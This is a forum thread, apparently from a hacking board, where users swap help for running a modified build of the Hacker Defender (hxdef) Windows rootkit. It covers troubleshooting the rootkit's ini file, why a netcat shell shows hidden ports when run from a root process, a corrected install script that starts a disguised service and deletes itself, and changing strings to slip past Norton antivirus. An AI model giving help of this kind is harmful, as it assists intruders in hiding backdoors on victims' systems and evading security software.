102 replies to this topic

[Burner]

wooot your tha man
it works like heaven

thx a lot for the defender

greetz

[Thom]

clubfed want to hook me up with it? anything I can do to get it?

[shiz]

thom:
if you launch a nc shell, did you do so from your installed ftpd?
if, yes, may i remind you that services defined in the .ini of hxdef are runnin with the sme privs as hxdef itself..
so, ofcourse you see your closed ports as open, because it is 'not infected'

here, an excerpt from the original hxdef readme.txt...

Root Processes is a list of programs which will be immune against
infection. You can see hidden files, directories and programs only with these
root programs. So, root processes are for rootkit admins. To be mentioned in
Root Processes doesn't mean you're hidden. It is possible to have root process
which is not hidden and vice versa.

so, what you probably did, was run nc from a program that was a root process and thus seeing all ports/services..

Holla!

[phaeton]

clubfed, 0.7.3? No port hiding at all there, so what would there be to complain about? Port hiding came in to effect in 0.8.4 :/

[sc0pe]

looks good, but the kit does not start at all, dont know why.

maybe u did an mistake during recompiling or editing the source...

[jimmy]

lol scope
than you're the only one with that prob
maybe you ini is (filtered) up
don't know
to install and start you can run install.cmd

[phaeton]

sc0pe if the rk doesnt start at all its definitely your ini. Remeber, you cannot have whitespace characters (<>/|") in the values for settings (ie service name etc).

[Double-=V=-]

Well the install.cmd is incorrect, but imho if you can't even see that you should not be using this.

[jimmy]

lol double V
indeed, just saw it

should be

isplog.exe -:installonly
net start isplog
del install.cmd

[sc0pe]

yes i saw this directly after my post
now works fine

[absolution]

By string do you mean a text string? Or a string of a signature?

Changing text strings might beat Norton but wont do anything against a better AV.